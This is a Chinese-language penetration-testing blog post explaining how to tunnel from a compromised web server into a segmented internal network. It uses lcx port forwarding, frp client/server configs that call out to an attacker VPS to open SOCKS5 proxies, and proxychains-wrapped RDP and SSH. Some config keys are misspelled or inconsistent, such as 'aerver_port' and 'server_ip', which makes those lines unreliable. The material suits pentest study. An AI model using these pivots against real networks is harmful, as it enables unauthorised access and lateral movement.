内网渗透-隧道搭建

一、前言

为什么要进行代理搭建?因为目标主机会把一些可利用的端口给禁了,或者说内网 的防火墙不允许这些端口出现,那么这时候就需要搭建一个隧道,什么是隧道,对于小白来说可能有点抽象,其实就是主机与攻击机之间的通讯端口,然后还会设计到端口转发或者是端口映射的问题。

端口转发一般发生在一个主机里面,将800端口的流量转到900,而端口映射一般是两个主机,比如访问A主机的800端口就相当于访问B主机的900端口。但对其并没有多大的区分。

这里介绍lcx 和frp的使用。其他不讲。

二、需要搭建代理的场景

根据场景的复杂度通常需要设置一级代代理、二级代理....如果目标无公网ip就得使用VPS

1.场景一

最简单的场景:

攻击机kali

内网:
web1: 10.10.10.13(内网地址) (192.168.8.x)外网地址
DC: 10.10.10.11(不出网)
cilent1: 10.10.10.14(内网地址,不出网)

从这可以看到我们如果想要拿下cilent1,可以通过web1主机去。因为kali又不能与cilent1通讯。所以需要搭建代理。

目标

端口转发:**比如我要控制web1的桌面,需要通过3389来控制,但是防火墙不让外部地址有3389,但是可以4444的话,那我就可以使用端口转发。使得kali访问web1的4444端口就相当于访问3389.。

**端口映射:**但是如果我想使用的是cilent的3389,那我可以将cilent的3389映射到web1的4444

1.1 使用lcx进行端口转发

web1执行:

lcx.exe -tran 4444 127.0.0.1 3389

攻击机执行

rdesktop 192.168.8.x:4444

1.2 使用lcx进行端口映射

web1执行:

lcx.exe -tran 4444 10.10.10.14 3389

攻击机执行

rdesktop 192.168.8.x:4444

2.场景二

但是如果web1没有外网地址(192.168.8.x),只有内网地址(10.10.10.13),但是出网,可以使用frp以及vps进行搭建隧道。

这种场景搭建一级代理。

假设vps的地址为 43.143.93.88

目标:

端口转发:我要控制web1的3389,但是我只能允许4444进入。那么就可以将4444的流量转发到3389。

想ssh登录进入cilent1

frp搭建一级代理思路。在vps和web1之间搭建一个隧道,搭建这个隧道的时候对于vps会涉及到两个端口。一个是默认的7000连接frp的端口,一个是用户自定义的隧道端口。新手可能会很容易搞混这两个端口。默认的7000端口我们不用在意,只管客户端设置的remote_port.

2.1 使用frp搭建一级代理

将Vps作为服务端。把frps上传,并设置frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

web1作为客户端,配置frpc.ini

[common]
server_addr = 43.143.93.88
aerver_port = 7000

[socks5]
remote_port = 4444 #vps与web1之间的隧道端口,所有流量都通过vps的4444端口到达web1的4444端口
plugin = socks5	#vps可作为一个socks5的代理服务器。

plugin是一个插件,赋值socks5,意思是可以建立socks5代理服务器。什么意思,就是可以把它当做一个中间服务器进行传输。当然你可以都加,plugin = socks5。

然后在kali上将数据包流量扔到隧道里面。kali自带proxychains,配置proxychains.conf设置代理服务器:

socks5 43.143.93.88 4444

再运行

proxychain rdesktop 10.10.10.13:3389
或者
proxychain ssh root@10.10.10.14

这个就是把这个数据包的流量扔到vps这个代理服务器上,端口是4444,然后这个流量就会到达目标主机进行解析。

3.场景三

假设现在有另外一个主机cilent2 内网地址是10.10.20.5,可以与client1连接。但是我想在攻击机上ssh连接client2.

那么现在就必须再搭条隧道进入cilent1与cilent2所在的网段;

{%asset_image 1.png %}

3.1 frp搭建二级代理

将vps与web1作为代理服务器

vps的frps配置不变

web1 配置

frpc.ini

[common]
server_addr = 43.143.93.88
aerver_port = 7000

[socks5]
type = tcp 
local_port = 10808 #将1080隧道接受到的流量转发到10808,要转发流量,使用tcp协议。所以type=tcp
remote_port = 1080
plugin = socks5

这样第一条隧道搭建完毕。

同时它也要作为一个代理服务器,那么配置frps.ini,能在web1与cilent1之间建立一个隧道.成为第二条隧道

[common]
bind_addr = 10.10.10.13
bind_port = 7000

cilent1配置

frpc.ini

[common]
server_addr = 10.10.10.13
aerver_port = 7000

[socks5]
type = tcp #为什么要type=tcp,因为在第一条隧道的时候,数据包是tcp协议转发到10808的。
remote_port = 10808
plugin = socks5

到此两条隧道搭建完毕。

kali攻击

kali 可以通过proxchains来实现将流量包转发到vps这个第一个代理服务器,然后就会传到cilent1。

proxychains.conf配置好之后,就可以运行下面命令连接cilent2

proxychains ssh root@10.10.20.9

三级代理一样的,把cilent2加个frps.

三、frp的其他使用补充

frp进行内网穿透的时候,还有其他配置,比如,搭好隧道之后,把流量转发到22端口,就可以连接内网的22,将流量转发到其他部署有网站的端口,就可以通过vps访问到内网网站。但是一定要注意type.想连接22,就走tcp,想web,就可以走tcp也可以http.只不过http还得布置域名。

frps服务端不变。

主要是客户端frpc.ini

[common]
server_ip = 43.143.93.88
server_port = 7000

[ssh]
type = tcp
local_port =22
remote_port = 1080

[web]
type = tcp
local_port =80 #或者其他站点端口
remote_port = 4444

上述配置就可以直接通过操作43.143.93.88的相应端口来达到相关服务,比如要连接这个客户端的ssh

ssh -p 1080 root@43.143.93.88

要访问这个客户端内网的网站,直接浏览器访问http://43.143.93.88:4444就能访问。

但是如果是配置了代理服务器,搞了隧道,也就是frpc.ini的配置如下

[common]
server_ip = 43.143.93.88
server_port = 7000

[ssh]
remote_port = 1080
plugin = socks5

没有type = tcp 就不能访问。就算你配置了local_port = 22 或者88,都不能成功转发流量,也就是说,要进行端口转发流量必须加上type。

如果没加,就像上面一样,那么就是只搭建了一个代理服务器。

通过代理插件来实现。代理插件kali有proxychain,相关操作也有。代理插件或者软件的作用就是将数据包流量发送到代理服务器。

kali 直接配置文件,使用时就在命令前加上proxychain .

Windows可以使用proxifier。在设置代理服务器的时候,就可以设置 43.143.93.88 1080

再设置相应的规则就可以将流量经过代理服务器。

posted @ 2024-05-26 22:08  云岛夜川川  阅读(48)  评论(0编辑  收藏  举报